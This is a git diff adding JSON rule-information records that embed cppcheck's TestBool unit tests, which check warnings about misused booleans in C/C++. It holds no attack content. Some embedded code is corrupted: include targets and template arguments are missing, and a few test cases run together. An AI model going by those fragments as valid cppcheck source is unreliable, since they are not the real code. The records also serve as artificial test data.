ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolExpressionWithInt.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolExpressionWithInt.json new file mode 100644 index 0000000..177fa0d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolExpressionWithInt.json @@ -0,0 +1,25 @@ +{ + "name": "checkComparisonOfBoolExpressionWithInt", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 48, + "branches": 14, + "apis": 38, + "test": [ + { + "description": null, + "expected-problems": 4, + "expected-linenumbers": [ + 227, + 411, + 491, + 498 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" 